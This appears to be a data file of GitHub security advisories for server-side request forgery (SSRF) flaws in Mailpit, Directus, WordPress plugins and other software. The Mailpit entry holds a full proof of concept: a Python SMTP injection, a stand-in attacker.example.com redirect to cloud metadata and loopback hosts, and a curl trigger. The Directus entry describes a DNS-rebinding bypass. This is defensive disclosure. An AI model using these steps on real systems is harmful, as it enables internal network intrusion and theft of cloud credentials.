CWE-918

{
  "affected": [],
  "aliases": [
    "CVE-2025-0474"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-14T19:15:32Z",
    "severity": "HIGH"
  },
  "details": "Invoice Ninja is vulnerable to authenticated Server-Side Request Forgery (SSRF) allowing for arbitrary file read and network resource requests as the application user.\nThis issue affects Invoice Ninja: from 5.8.56 through 5.11.23.",
  "id": "GHSA-j2m4-4rvg-26j8",
  "modified": "2025-01-14T21:31:47Z",
  "published": "2025-01-14T21:31:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-0474"
    },
    {
      "type": "WEB",
      "url": "https://github.com/invoiceninja/invoiceninja/commit/2a9bf353b432d7060e85487b617151ecbc36247d"
    },
    {
      "type": "WEB",
      "url": "https://github.com/invoiceninja/invoiceninja/compare/97ae948618230c1812f3223b80bf22dcb0382dc5..435780932fe19063001d79ba518815df62773d71"
    },
    {
      "type": "WEB",
      "url": "https://vulncheck.com/advisories/invoice-ninja-ssrf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2026-36758"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-30T16:16:42Z",
    "severity": "MODERATE"
  },
  "details": "A Server-Side Request Forgery (SSRF) in the /themes/-/install-from-uri endpoint of halo v2.22.14 allows authenticated attackers to scan internal resources via a crafted GET request.",
  "id": "GHSA-j2q6-4wwg-vm5c",
  "modified": "2026-04-30T18:30:32Z",
  "published": "2026-04-30T18:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-36758"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Arron-bit/Vul_report/blob/main/halo/ssrf3/readme.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/halo-dev/halo"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-53461"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-22T19:15:43Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in Binsaifullah Beaf allows Server Side Request Forgery. This issue affects Beaf: from n/a through 1.6.2.",
  "id": "GHSA-j2qw-wqpw-6c7x",
  "modified": "2026-04-01T18:36:09Z",
  "published": "2025-09-22T21:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-53461"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/image-compare-block/vulnerability/wordpress-beaf-plugin-1-6-2-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2016-4029"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-285",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-08-07T16:59:00Z",
    "severity": "HIGH"
  },
  "details": "WordPress before 4.5 does not consider octal and hexadecimal IP address formats when determining an intranet address, which allows remote attackers to bypass an intended SSRF protection mechanism via a crafted address.",
  "id": "GHSA-j2rp-vprg-5m9q",
  "modified": "2022-05-17T00:27:38Z",
  "published": "2022-05-17T00:27:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4029"
    },
    {
      "type": "WEB",
      "url": "https://core.trac.wordpress.org/query?status=closed\u0026milestone=4.5"
    },
    {
      "type": "WEB",
      "url": "https://wpvulndb.com/vulnerabilities/8473"
    },
    {
      "type": "WEB",
      "url": "http://codex.wordpress.org/Version_4.5"
    },
    {
      "type": "WEB",
      "url": "http://www.debian.org/security/2016/dsa-3681"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id/1036594"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/axllent/mailpit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.28.3"
            },
            {
              "fixed": "1.30.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45709"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-19T15:52:16Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe fix for GHSA-6jxm-fv7w-rw5j (CVE-2026-23845, \"Server-Side Request Forgery (SSRF) via HTML Check API\"), shipped in mailpit `v1.28.3`, hardened `internal/htmlcheck/css.go::downloadCSSToBytes` with a 5MB size cap, a `text/css` content-type check, login-info stripping in `isValidURL`, and an opt-in `--block-remote-css-and-fonts` config flag \u2014 but **did not add the IP-filtering dialer that the same codebase already uses on the two sister SSRF endpoints** (the proxy handler and link-check). At HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06), `internal/htmlcheck/css.go::newSafeHTTPClient` is mis-named \u2014 it builds an `http.Client` whose `Transport.DialContext` calls `net.Dialer.DialContext` directly with no IP allowlisting. As a result, the SSRF originally reported by Bao Anh Phan still permits the server to dial:\n\n- loopback (`127.0.0.0/8`, `::1`),\n- private (`10.0.0.0/8`, `172.16.0.0/12`, `192.168.0.0/16`, `fc00::/7`),\n- link-local incl. **cloud IMDS** (`169.254.0.0/16`, especially `169.254.169.254`),\n- CGNAT (`100.64.0.0/10`),\n- and any other reserved/multicast range,\n\n\u2014 provided the target replies with `HTTP/200` and a content-type beginning with `text/css`. With redirect-following (`CheckRedirect` allows redirects to any `isValidURL` URL with no IP filter), an attacker-controlled public site can redirect mailpit\u0027s request into the private network without ever appearing in the email\u0027s HTML.\n\nIn the default mailpit deploy (no UI auth, no SMTP auth, port 1025/8025 exposed), this is an unauthenticated, network-reachable SSRF triggered by sending an HTML email and then issuing one HTTP `GET` to `/api/v1/message/{id}/html-check`.\n\n## Affected versions\n\n- `internal/htmlcheck/css.go` at HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06).\n- All versions `\u003e= v1.28.3` (the version that shipped the GHSA-6jxm fix). Versions `\u003c= v1.28.2` are vulnerable to the original GHSA-6jxm; versions `\u003e= v1.28.3` carry the still-vulnerable variant described here.\n\n## The incomplete fix\n\nThe original GHSA-6jxm fix added size+content-type+login-info hardening to `downloadCSSToBytes`. But the dialer it uses still has no `safeDialContext`. The companion `linkcheck` and `proxy` handlers in the same codebase have all-three protections: size cap, content-type/redirect filter, **AND** a `safeDialContext` that runs `tools.IsInternalIP(ip.IP)` per resolved address \u2014 same pattern the htmlcheck dialer should adopt.\n\nSide-by-side at HEAD `8bc966e`:\n\n| File | Function | `safeDialContext` (IP filter)? | TOCTOU-safe (dial-by-IP)? |\n|---|---|---|---|\n| `internal/linkcheck/status.go::safeDialContext` line 140-163 | dial check | YES | YES (resolved IP joined with port) |\n| `server/handlers/proxy.go::safeDialContext` line 393-415 | dial check | YES | YES |\n| `internal/htmlcheck/css.go::newSafeHTTPClient` line 275-310 | dial check | **NO** | n/a |\n\nThe mis-named `newSafeHTTPClient` reads:\n\n```go\n// internal/htmlcheck/css.go:275-310\nfunc newSafeHTTPClient() *http.Client {\n    dialer := \u0026net.Dialer{\n        Timeout:   5 * time.Second,\n        KeepAlive: 30 * time.Second,\n    }\n\n    tr := \u0026http.Transport{\n        Proxy: nil,\n        DialContext: func(ctx context.Context, network, address string) (net.Conn, error) {\n            return dialer.DialContext(ctx, network, address)   // no IP filter\n        },\n        ...\n    }\n\n    client := \u0026http.Client{\n        Transport: tr,\n        Timeout:   15 * time.Second,\n        CheckRedirect: func(req *http.Request, via []*http.Request) error {\n            if len(via) \u003e= 3 { return errors.New(\"too many redirects\") }\n            if !isValidURL(req.URL.String()) { return errors.New(\"invalid redirect URL\") }\n            return nil\n        },\n    }\n    return client\n}\n```\n\n`isValidURL` only rejects non-http(s) and userinfo URLs \u2014 it does NOT reject internal IPs. Compare `linkcheck/status.go::safeDialContext`:\n\n```go\nips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n...\nif !config.AllowInternalHTTPRequests {\n    for _, ip := range ips {\n        if tools.IsInternalIP(ip.IP) {\n            return nil, fmt.Errorf(\"blocked request to %s (%s): private/reserved address\", host, ip)\n        }\n    }\n}\nreturn dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))\n```\n\nThat\u0027s the protection htmlcheck is missing.\n\n## Reachability chain (default deploy)\n\n```\nListen()                                 # config/config.go:36 SMTPListen = \"[::]:1025\"\n   \u2193\nSMTP server                              # internal/smtpd/main.go:222-249  AuthRequired: false, AuthHandler: nil\n   \u2193 attacker injects HTML body with \u003clink rel=\"stylesheet\" href=\"...attacker.com/redirect.css\"\u003e\n   \u2193\nstorage.Store(...)\n   \u2193\nListen()                                 # server/server.go HTTPListen\n   \u2193 attacker sends GET /api/v1/message/{id}/html-check\napiv1.HTMLCheck                          # server/apiv1/other.go:18\n   \u2193 no UI auth in default deploy (auth.UICredentials == nil)\nhtmlcheck.RunTests(msg.HTML)             # internal/htmlcheck/main.go:17\n   \u2193\nrunCSSTests \u2192 inlineRemoteCSS            # internal/htmlcheck/css.go:25, 132\n   \u2193\ndownloadCSSToBytes(href)                 # internal/htmlcheck/css.go:192\n   \u2193\nnewSafeHTTPClient()                      # internal/htmlcheck/css.go:275\n   \u2193 no IP filter on Transport.DialContext or CheckRedirect\nclient.Do(req) \u2192 attacker-controlled origin \u2192 302 redirect to internal IP \u2192 success\n```\n\n## PoC\n\nDefault-deploy reproduction (no auth):\n\n```bash\n# 1) start mailpit with defaults (no --smtp-auth, no --ui-auth)\ndocker run -p 1025:1025 -p 8025:8025 axllent/mailpit:latest\n\n# 2) attacker hosts a redirect to an internal target\n#    e.g., http://attacker.example.com/test.css \u2192 302 \u2192 http://169.254.169.254/...\n\n# 3) inject email via SMTP (no auth required)\npython3 - \u003c\u003c\u0027EOF\u0027\nimport smtplib\nfrom email.mime.text import MIMEText\nhtml = \u0027\u0027\u0027\u003c!DOCTYPE html\u003e\u003chtml\u003e\u003chead\u003e\n  \u003clink rel=\"stylesheet\" href=\"http://attacker.example.com/test.css\"\u003e\n\u003c/head\u003e\u003cbody\u003ex\u003c/body\u003e\u003c/html\u003e\u0027\u0027\u0027\nm = MIMEText(html, \u0027html\u0027)\nm[\u0027Subject\u0027] = \u0027mailpit-001\u0027\nm[\u0027From\u0027] = \u0027a@b\u0027\nm[\u0027To\u0027]   = \u0027c@d\u0027\nwith smtplib.SMTP(\u0027localhost\u0027, 1025) as s:\n    s.send_message(m)\nEOF\n\n# 4) get the message ID\nID=$(curl -s http://localhost:8025/api/v1/messages?limit=1 | jq -r \u0027.messages[0].ID\u0027)\n\n# 5) trigger the SSRF with one anonymous GET\ncurl -i http://localhost:8025/api/v1/message/$ID/html-check\n```\n\nThe HTTP server-side dial follows `http://attacker.example.com/test.css` \u2192 302 redirect to `http://127.0.0.1:6379/` \u2192 mailpit completes a TCP connect to the loopback Redis. No request body is reflected to the attacker (mailpit only inlines successful 200 + `text/css` responses), but:\n\n- **State-changing internal GETs.** Any internal admin app served on `127.0.0.1` or RFC1918 with a \"GET /admin/restart\", \"GET /vacuum\", \"GET /flush\" pattern can be triggered through this primitive. Several common stacks (Spring Actuator, etcd debug, internal Prometheus admin, Redis HTTP front-ends, Jaeger UI) expose such operations on private ports.\n- **Cloud-IMDS reachability oracle.** Because IMDS responses don\u0027t carry `text/css`, the body is not inlined \u2014 but the redirect chain DOES dial 169.254.169.254. A side-channel (response time, DNS log) can confirm IMDS reachability from a default-deploy mailpit on cloud.\n- **Internal port-scan via timing.** The 5s+15s timeouts produce a clear timing differential between \"RST refused\" (~ms), \"open and HTTP-noisy\" (~10ms+), and \"filtered\" (multi-second).\n- **Authenticated `Mailpit/\u003cversion\u003e` GET.** Every internal target sees a known UA from a trusted internal subnet; combined with redirect-stripping, this can fool internal allowlists keyed on UA.\n\n## Threat model alignment\n\nThe maintainer\u0027s prior position on the SSRF class is captured by GHSA-6jxm-fv7w-rw5j (HTML Check, Medium), GHSA-mpf7-p9x7-96r3 (Link Check, Medium), and GHSA-8v65-47jx-7mfr (Proxy Endpoint, Medium). All three are siblings in the same SSRF class, and the maintainer chose to remediate each via a `safeDialContext`-style filter in the linkcheck and proxy fixes. The htmlcheck fix is the outlier: same class, same severity, but the IP filter was not applied. The remaining surface is therefore a regression of the published fix\u0027s stated goal (\"disallow internal targets\").\n\nDefault-deploy reachability is unauthenticated (per the maintainer\u0027s own README, mailpit is intended to run without auth in dev/CI). With UI auth configured, the same primitive is post-auth \u2014 still useful (UI-auth mailpit deployments often live on the internal/ops subnet, exposing other ops services).\n\n## Suggested fix\n\nMake `newSafeHTTPClient` use the same `safeDialContext` pattern already proven in `linkcheck/status.go` and `server/handlers/proxy.go`. Concretely:\n\n```go\n// internal/htmlcheck/css.go\nfunc newSafeHTTPClient() *http.Client {\n    dialer := \u0026net.Dialer{\n        Timeout:   5 * time.Second,\n        KeepAlive: 30 * time.Second,\n    }\n\n    tr := \u0026http.Transport{\n        Proxy:                 nil,\n        DialContext:           safeDialContext(dialer),  // \u2190 add IP filter\n        TLSHandshakeTimeout:   5 * time.Second,\n        ResponseHeaderTimeout: 10 * time.Second,\n        ExpectContinueTimeout: 1 * time.Second,\n        IdleConnTimeout:       30 * time.Second,\n        MaxIdleConns:          50,\n    }\n\n    client := \u0026http.Client{\n        Transport: tr,\n        Timeout:   15 * time.Second,\n        CheckRedirect: func(req *http.Request, via []*http.Request) error {\n            if len(via) \u003e= 3 {\n                return errors.New(\"too many redirects\")\n            }\n            if !isValidURL(req.URL.String()) {\n                return errors.New(\"invalid redirect URL\")\n            }\n            // safeDialContext re-runs IP filter on each hop\u0027s Dial,\n            // so redirect target IP is also enforced.\n            return nil\n        },\n    }\n    return client\n}\n\n// safeDialContext is the same pattern as linkcheck/status.go::safeDialContext\n// \u2014 copy the function (or factor a shared helper into internal/tools/net.go).\nfunc safeDialContext(dialer *net.Dialer) func(ctx context.Context, network, address string) (net.Conn, error) {\n    return func(ctx context.Context, network, address string) (net.Conn, error) {\n        host, port, err := net.SplitHostPort(address)\n        if err != nil { return nil, err }\n        ips, err := net.DefaultResolver.LookupIPAddr(ctx, host)\n        if err != nil { return nil, err }\n        if !config.AllowInternalHTTPRequests {\n            for _, ip := range ips {\n                if tools.IsInternalIP(ip.IP) {\n                    return nil, fmt.Errorf(\"blocked request to %s (%s): private/reserved address\", host, ip)\n                }\n            }\n        }\n        return dialer.DialContext(ctx, network, net.JoinHostPort(ips[0].IP.String(), port))\n    }\n}\n```\n\nTwo further hardening notes:\n\n1. **Add CGNAT 100.64.0.0/10 (RFC 6598).** `tools.IsInternalIP` covers loopback, private, link-local, multicast, unspecified \u2014 but not CGNAT. This affects all three SSRF dialers (htmlcheck, linkcheck, proxy). Tailscale tailnets and GCP IAP fall in `100.64.0.0/10`; an mailpit instance running on a Tailscale node can be used to pivot into the tailnet. Concrete fix: extend `tools.IsInternalIP` with `cgnat := net.IPNet{IP: net.IPv4(100, 64, 0, 0), Mask: net.CIDRMask(10, 32)}; if cgnat.Contains(ip) { return true }`.\n2. **Re-validate the rename.** `newSafeHTTPClient` is a misleading name today \u2014 once the dialer is hardened, the name will be accurate. Until then, consider renaming it to `newHTTPClient` to remove the false sense of safety it conveys to maintainers reading the file.\n\n## Reproduction environment\n\n- Tested against: HEAD `8bc966e61834a24c48b4465da418f75e73be0afd` (2026-05-06).\n- Code locations:\n  - Vulnerable dialer: `internal/htmlcheck/css.go:275-310`\n  - Vulnerable downloader: `internal/htmlcheck/css.go:192-229`\n  - Reachability gate: `internal/htmlcheck/css.go:131-187` (`inlineRemoteCSS`)\n  - Trigger handler: `server/apiv1/other.go:18-79` (`HTMLCheck`)\n  - Default no-UI-auth: `internal/auth/auth.go` + middleware in `server/server.go:317`\n  - Default no-SMTP-auth: `internal/smtpd/main.go:229-230`\n  - Sister fixed dialers (for diff): `internal/linkcheck/status.go:140-163`, `server/handlers/proxy.go:393-415`\n\n## Reporter\n\nEddie Ran. Filed via reporter API.",
  "id": "GHSA-j3fj-qppj-fmmc",
  "modified": "2026-05-19T15:52:16Z",
  "published": "2026-05-19T15:52:16Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/axllent/mailpit/security/advisories/GHSA-j3fj-qppj-fmmc"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/axllent/mailpit"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Mailpit has an incomplete fix for GHSA-6jxm: HTML check still permits SSRF to private/loopback/IMDS via missing IP-filter dialer"
}

{
  "affected": [],
  "aliases": [
    "CVE-2017-11148"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-08-11T19:29:00Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery (SSRF) vulnerability in link preview in Synology Chat before 1.1.0-0806 allows remote authenticated users to access intranet resources via unspecified vectors.",
  "id": "GHSA-j3h5-6g74-vcfx",
  "modified": "2022-05-13T01:38:18Z",
  "published": "2022-05-13T01:38:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11148"
    },
    {
      "type": "WEB",
      "url": "https://www.synology.com/en-global/support/security/Synology_SA_17_38_Chat"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/100310"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-3775"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-04-25T05:15:33Z",
    "severity": "MODERATE"
  },
  "details": "The ShopLentor \u2013 WooCommerce Builder for Elementor \u0026 Gutenberg +20 Modules \u2013 All in One Solution (formerly WooLentor) plugin for WordPress is vulnerable to Server-Side Request Forgery in all versions up to, and including, 3.1.2 via the woolentor_template_proxy function. This makes it possible for unauthenticated attackers to make web requests to arbitrary locations originating from the web application, and can be used to query and modify information from internal services.",
  "id": "GHSA-j3q9-8jfc-977f",
  "modified": "2025-04-25T06:30:56Z",
  "published": "2025-04-25T06:30:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-3775"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/browser/woolentor-addons/tags/3.1.2/includes/admin-panel/includes/classes/Admin.php#L71"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/4dfc28ec-1411-43c3-833e-a6c85a3ed767?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "directus"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "9.23.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-26492"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-03-03T23:07:35Z",
    "nvd_published_at": "2023-03-03T22:15:00Z",
    "severity": "MODERATE"
  },
  "details": "### Summary\nDirectus versions \u003c=9.22.4 is vulnerable to Server-Side Request Forgery (SSRF) when importing a file from a remote web server (POST to `/files/import`). An attacker can bypass the security controls that were implemented to patch vulnerability [CVE-2022-23080](https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2934713) by performing a [DNS rebinding attack](https://en.wikipedia.org/wiki/DNS_rebinding) and view sensitive data from internal servers or perform a local port scan (eg. can access internal metadata API for AWS at `http://169.254.169.254` event if `169.254.169.254` is in the deny IP list).\n\n### Details\nDNS rebinding attacks work by running a DNS name server that resolves two different IP addresses when a domain is resolved simultaneously. This type of attack can be exploited to bypass the IP address deny list validation that was added to [`/api/src/services/file.ts`](https://github.com/directus/directus/blob/main/api/src/services/files.ts) for the function `importOne` to mitigate the previous SSRF vulnerability [CVE-2022-23080](https://security.snyk.io/vuln/SNYK-JS-DIRECTUS-2934713). The validation in [`/api/src/services/file.ts`](https://github.com/directus/directus/blob/main/api/src/services/files.ts) first checks if the resolved IP address for a domain name does not a resolve to an IP address in the deny list:\n\n```js\nlet ip = resolvedUrl.hostname;\n\nif (net.isIP(ip) === 0) {\n    try {\n        ip = (await lookupDNS(ip)).address;\n    } catch (err: any) {\n        logger.warn(err, `Couldn\u0027t lookup the DNS for url ${importURL}`);\n        throw new ServiceUnavailableException(`Couldn\u0027t fetch file from url \"${importURL}\"`, {\n            service: \u0027external-file\u0027,\n        });\n    }\n}\n\nif (env.IMPORT_IP_DENY_LIST.includes(\u00270.0.0.0\u0027)) {\n    const networkInterfaces = os.networkInterfaces();\n\n    for (const networkInfo of Object.values(networkInterfaces)) {\n        if (!networkInfo) continue;\n\n        for (const info of networkInfo) {\n            if (info.address === ip) {\n                logger.warn(`Requested URL ${importURL} resolves to localhost.`);\n                throw new ServiceUnavailableException(`Couldn\u0027t fetch file from url \"${importURL}\"`, {\n                    service: \u0027external-file\u0027,\n                });\n            }\n        }\n    }\n}\n\nif (env.IMPORT_IP_DENY_LIST.includes(ip)) {\n    logger.warn(`Requested URL ${importURL} resolves to a denied IP address.`);\n    throw new ServiceUnavailableException(`Couldn\u0027t fetch file from url \"${importURL}\"`, {\n        service: \u0027external-file\u0027,\n    });\n}\n```\n\nOnce it validates that the resolved IP address is not in the deny list, then it uses `axios` to `GET` the url and saves the response content.\n\n```js\ntry {\n    fileResponse = await axios.get\u003cReadable\u003e(encodeURL(importURL), {\n        responseType: \u0027stream\u0027,\n    });\n} catch (err: any) {\n    logger.warn(err, `Couldn\u0027t fetch file from url \"${importURL}\"`);\n    throw new ServiceUnavailableException(`Couldn\u0027t fetch file from url \"${importURL}\"`, {\n        service: \u0027external-file\u0027,\n    });\n}\n```\n\nHowever, this validation check and fetching the web resource causes to DNS queries that enable a DNS rebinding attack. On the first DNS query, an attacker controlled name server can be configured to resolve to an external IP address that is not in the deny list to bypass the validation. Then when `axios` is called, the name server resolves the domain name to a local IP address.\n\n### PoC\nTo demonstrate we will be using an online tool named [rebinder](https://lock.cmpxchg8b.com/rebinder.html). Rebinder randomly changes the IP address it resolves to depending on the subdomain. For an example, `7f000001.8efa468e.rbndr.us` can resolve to either `142.250.70.142` (google.com) or **`127.0.0.1`**. Sending multiple `POST` requests to `/files/import` using this domain will eventually cause a resolution to `142.250.70.142` first to bypass the validation then fetch the sensitive from an internal server when `axios` is called.\n\nThe following screenshots show what it looks like when a successful attack occurs.\n\n*Downloading a file named `secret.txt` from a webserver running from `http://127.0.0.1/secret.txt`*\n![image](https://user-images.githubusercontent.com/6276577/218124035-26f7f0c3-47b3-424d-b4d4-bd3b47161983.png)\n\n*Receiving the request from the internal server. Note that the incoming connection is from **127.0.0.1**.*\n![image](https://user-images.githubusercontent.com/6276577/218124119-87b8d5d6-934d-4e07-be4d-066616a9a435.png)\n\n*After downloading the file it leaks the content of the secret file.*\n![image](https://user-images.githubusercontent.com/6276577/218122210-87b2e478-1081-4830-a9ea-e5d9f39bb129.png)\n\n### Impact\nAn attacker can exploit this vulnerability to access highly sensitive internal server and steal sensitive information. An example is on Cloud Environments that utilise internal APIs for managing machine and privileges. For an example, if `directus` is hosted on AWS EC2 instance and has an IAM role assigned to the EC2 instance then an attacker can exploit this vulnerability to steal the AWS access keys to impersonate the EC2 instance using the AWS API.\n",
  "id": "GHSA-j3rg-3rgm-537h",
  "modified": "2023-03-06T01:44:06Z",
  "published": "2023-03-03T23:07:35Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/security/advisories/GHSA-j3rg-3rgm-537h"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-26492"
    },
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/commit/ff53d3e69a602d05342e15d9bb616884833ddbff"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/directus/directus"
    },
    {
      "type": "WEB",
      "url": "https://github.com/directus/directus/releases/tag/v9.23.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Directus vulnerable to Server-Side Request Forgery On File Import"
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-62207"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-11-20T23:15:55Z",
    "severity": "HIGH"
  },
  "details": "Azure Monitor Elevation of Privilege Vulnerability",
  "id": "GHSA-j3rp-fv9f-6v63",
  "modified": "2025-11-21T00:30:22Z",
  "published": "2025-11-21T00:30:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-62207"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-62207"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

{
  "affected": [],
  "aliases": [
    "CVE-2025-10765"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-09-21T07:15:35Z",
    "severity": "MODERATE"
  },
  "details": "A security flaw has been discovered in SeriaWei ZKEACMS up to 4.3. This vulnerability affects the function CheckPage/Suggestions in the library cms-v4.3\\wwwroot\\Plugins\\ZKEACMS.SEOSuggestions\\ZKEACMS.SEOSuggestions.dll of the component SEOSuggestions. Performing manipulation results in server-side request forgery. It is possible to initiate the attack remotely. The exploit has been released to the public and may be exploited. The vendor was contacted early about this disclosure but did not respond in any way.",
  "id": "GHSA-j429-5xwx-mjx2",
  "modified": "2025-09-22T21:30:19Z",
  "published": "2025-09-22T21:30:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-10765"
    },
    {
      "type": "WEB",
      "url": "https://github.com/wooyun123/wooyun/issues/1"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.325120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.325120"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.647952"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}